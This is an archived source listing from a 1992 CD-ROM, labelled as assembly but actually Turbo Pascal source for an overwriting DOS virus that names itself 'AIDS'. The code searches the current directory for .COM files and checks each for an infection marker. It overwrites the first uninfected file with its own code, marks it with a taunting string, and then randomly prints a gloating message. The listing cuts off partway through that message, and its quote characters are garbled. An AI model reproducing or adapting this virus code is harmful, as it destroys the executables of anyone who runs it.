home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / VIR2.ASM < prev    next >
Assembly Source File  |  1992-05-11  |  4KB  |  121 lines

  1.  
  2. { Beginning of source code, Turbo Pascal 3.01a }
  3. {C-}
  4. {U-}
  5. {I-}       { Wont allow a user break, enable IO check }
  6.  
  7. { -- Constants --------------------------------------- }
  8.  
  9. Const
  10.      VirusSize = 13847;    { AIDSYs code size }
  11.  
  12.      Warning   :String[42]     { Warning message }
  13.      = ZThis File Has Been Infected By AIDS! HaHa!Y;
  14.  
  15. { -- Type declarations------------------------------------- }
  16.  
  17. Type
  18.      DTARec    =Record      { Data area for file search }
  19.      DOSnext  :Array[1..21] of Byte;
  20.                    Attr    : Byte;
  21.                    Ftime,
  22.                    FDate,
  23.                    FLsize,
  24.                    FHsize  : Integer;
  25.                    FullName: Array[1..13] of Char;
  26.                  End;
  27.  
  28. Registers    = Record    {Register set used for file search }
  29.    Case Byte of
  30.    1 : (AX,BX,CX,DX,BP,SI,DI,DS,ES,Flags : Integer);
  31.    2 : (AL,AH,BL,BH,CL,CH,DL,DH          : Byte);
  32.    End;
  33.  
  34. { -- Variables--------------------------------------------- }
  35.  
  36. Var
  37.                                { Memory offset program code }
  38.    ProgramStart : Byte absolute Cseg:$100;
  39.                                           { Infected marker }
  40.    MarkInfected : String[42] absolute Cseg:$180;
  41.    Reg          : Registers;                 { Register set }
  42.    DTA          : DTARec;                       { Data area }
  43.    Buffer       : Array[Byte] of Byte;        { Data buffer }
  44.    TestID       : String[42]; { To recognize infected files }
  45.    UsePath      : String[66];        { Path to search files }
  46.                                     { Lenght of search path }
  47.    UsePathLenght: Byte absolute UsePath;
  48.    Go           : File;                    { File to infect }
  49.    B            : Byte;                              { Used }
  50.    LoopVar      : Integer;  {Will loop forever}
  51.  
  52. { -- Program code------------------------------------------ }
  53.  
  54. Begin
  55.   GetDir(0, UsePath);               { get current directory }
  56.   if Pos(Z\Y, UsePath) <> UsePathLenght then
  57.     UsePath := UsePath + Z\Y;
  58.   UsePath := UsePath + Z*.COMY;        { Define search mask }
  59.   Reg.AH := $1A;                            { Set data area }
  60.   Reg.DS := Seg(DTA);
  61.   Reg.DX := Ofs(DTA);
  62.   MsDos(Reg);
  63.   UsePath[Succ(UsePathLenght)]:=#0; { Path must end with #0 }
  64.   Reg.AH := $4E;
  65.   Reg.DS := Seg(UsePath);
  66.   Reg.DX := Ofs(UsePath[1]);
  67.   Reg.CX := $ff;          { Set attribute to find ALL files }
  68.   MsDos(Reg);                   { Find first matching entry }
  69.   IF not Odd(Reg.Flags) Then         { If a file found then }
  70.     Repeat
  71.       UsePath := DTA.FullName;
  72.       B := Pos(#0, UsePath);
  73.       If B > 0 then
  74.       Delete(UsePath, B, 255);             { Remove garbage }
  75.       Assign(Go, UsePath);
  76.       Reset(Go);
  77.       If IOresult = 0 Then          { If not IO error then }
  78.       Begin
  79.         BlockRead(Go, Buffer, 2);
  80.         Move(Buffer[$80], TestID, 43);
  81.                       { Test if file already ill(Infected) }
  82.         If TestID <> Warning Then        { If not then ... }
  83.         Begin
  84.           Seek (Go, 0);
  85.                             { Mark file as infected and .. }
  86.           MarkInfected := Warning;
  87.                                                { Infect it }
  88.           BlockWrite(Go,ProgramStart,Succ(VirusSize shr 7));
  89.           Close(Go);
  90.           Halt;                   {.. and halt the program }
  91.         End;
  92.         Close(Go);
  93.       End;
  94.         { The file has already been infected, search next. }
  95.       Reg.AH := $4F;
  96.       Reg.DS := Seg(DTA);
  97.       Reg.DX := Ofs(DTA);
  98.       MsDos(Reg);
  99.     {  ......................Until no more files are found }
  100.     Until Odd(Reg.Flags);
  101. Loopvar:=Random(10);
  102. If Loopvar=7 then
  103. begin
  104.   Writeln(Z
  105.  
  106.  
  107.  
  108.  
  109.  
  110.  
  111.  
  112.  
  113. Y);                          {Give a lot of smiles}
  114. Writeln(ZY);
  115. Writeln(Z     Y);
  116. Writeln(Z                                 ATTENTION:
  117.  Y);
  118. Writeln(Z      I have been elected to inform you that throughout your process of
  119.  Y);
  120. Writeln(Z      collecting and executing files, you have accidentally H
  121.